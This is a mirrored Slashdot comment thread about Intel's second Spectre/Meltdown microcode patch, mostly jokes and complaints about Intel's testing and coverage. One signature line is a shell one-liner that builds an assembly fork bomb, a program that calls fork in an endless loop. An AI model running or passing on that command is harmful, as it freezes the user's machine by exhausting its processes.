Slashdot Mirror
Intel Has a New Spectre and Meltdown Firmware Patch For You To Try Out (betanews.com)
Mark Wilson writes: The Spectre/Meltdown debacle continues to rumble on, and now the chip manufacturer has announced the availability of a new 'microcode solution' to the vulnerability. The updated firmware applies to 6th, 7th and 8th Generation Intel Core devices, and the release sees the company crossing its fingers and hoping that everything works out this time.
This is Intel's second attempt at patching the vulnerability, and this time around both the company and its customers will be praying that the fix for Skylake, Kaby Lake and Coffee Lake chips actually does the job.
This is Intel's second attempt at patching the vulnerability, and this time around both the company and its customers will be praying that the fix for Skylake, Kaby Lake and Coffee Lake chips actually does the job.
I'm waiting for the point when the Intel patch does less damage than Spectre and Meltdown. Are we there yet?
Not keen to be a guinea pig
"...this time around both the company and its customers will be praying that the fix for Skylake, Kaby Lake and Coffee Lake chips actually does the job."
I can understand the masses praying for a legitimate fix, but the company is praying this will work? Did they suddenly abandon the concept of testing prior to release?
I mean, it's not like Intel has to go digging to find a metric fuckton of affected hardware...
Who writes these taglines? This is clearly not a Meltdown patch at all, so it shouldn't be mentioned anywhere.
There was a campy, over-the-top parody TV show called "Sledge Hammer" back in the 80s... although even if you're old enough, you may not remember it since it wasn't exactly a roaring success. The "protagonist" (using that term loosely) was a gun-happy cop whose solution to everything involved using his gun. If someone was stealing a candy bar, he might shoot the candy bar out of the perp's hands, for instance. If an old lady missed her bus, he might shoot out the tires of the bus.
Anyway, right now Intel reminds me of the show's intro. Most of it just featured glamour shots of Sledge Hammer's gun... but, at the end, Sledge Hammer says "Trust me, I know what I'm doing", and he shoots - but the bullet miscarries, resulting in a (virtual) bullet hole on your TV screen.
That's Intel, in a nutshell.
#DeleteChrome
You can't fix Meltdown with a CPU patch.
Let me know how it goes, everyone! I'll see you all in therapy...
the release sees the company crossing its fingers and hoping that everything works out this time
Intel has relationships with pretty much every computer OEM and cloud computing provider -- why do they need to cross their fingers and hope for the best when they can get their partners (who are just as motivated as Intel to have a usable solution) involved in large-scale tests?
Hey, Google only notified them in June and maybe they were going to get around to working on it after the holidays. And there are two new variants out this week that aren't considered, so be ready for the next round in a month or so as well.
You can't expect Intel to get these things done immediately, people! (the class action suits are going to love that they didn't fix it with six months' warning).
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
Skylake launched Q3 2015. So Intel is pushing the patch for barely more than 2 years worth of product. What about the millions (billions?) of systems out there that were not replaced in the past two years? Are they going the same way of Android in the "well fuck, sucks to be you!" mentality of security because the device isn't the absolute latest and greatest? I'm thinking they only supported back that far is because there are Xeon-D CPUs that launched Q1 2018 with Skylake architecture, and Intel is all over that Xeon-D right now (this is what Facebook is now using)
Don't we have a chimp or a rabbit that we could test this stuff on first?
Have gnu, will travel.
Does losing up to ~30% of your chip's speed mean more or less damage to you, to your usual workload, to the threat model you feel as better applying to your person?
So have we finally put to bed the finger pointing going on between Intel, Dell, and Redhat yet?
Nonsense. He would have inserted how his hosts file utility protects against Spectre and Meltdown. And you can totally trust a guy whose website for his tool still shows Windows NT 4.0 screenshots!
The world's burning. Moped Jesus spotted on I50. Details at 11.
APK is a myth anyway. His sightings are about as credible as pictures of the Loch Ness monster.
Thank you, official NSA statement.
Well
https://downloadcenter.intel.c...
finds only ancient, 2017 microcode version :-(
Remember that there are two groups with similar names, the Cardassians and the Kardashians. One group is vaguely reptilian, have large misshapen heads and an overblown and undeserved sense of superiority. The other group, of course, invaded Bajor.
Great civilizations have lived and died on false theories. Don't mess up mine with a few facts.
But more crashes!
Is Intel still shipping processors with these vulnerabilities?
If so, you have to ask "what the hell are they thinking"?
Would Ford or Chevy be allowed to keep selling a vehicle which was known to have defects that made it unroadworthy even before you drove it off the showroom floor?
Comment removed based on user account deletion
Agile is the practice of building software without first figuring out what kind of software you need to build. It IS development by prayer - build something, anything, and then pray that it somehow related to the user's need.
Full speed ahead and let's pray the shields hold up!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Moreover, there is a fix that the end user can apply as he sees fit."
Really? I thought it was still in beta-test, hence this discussion.
Should have been:
Intel Has a New Spectre and Meltdown Firmware Patch And Wants You To Test It Because Intel Couldn't Be Arsed To Do Its Own Testing.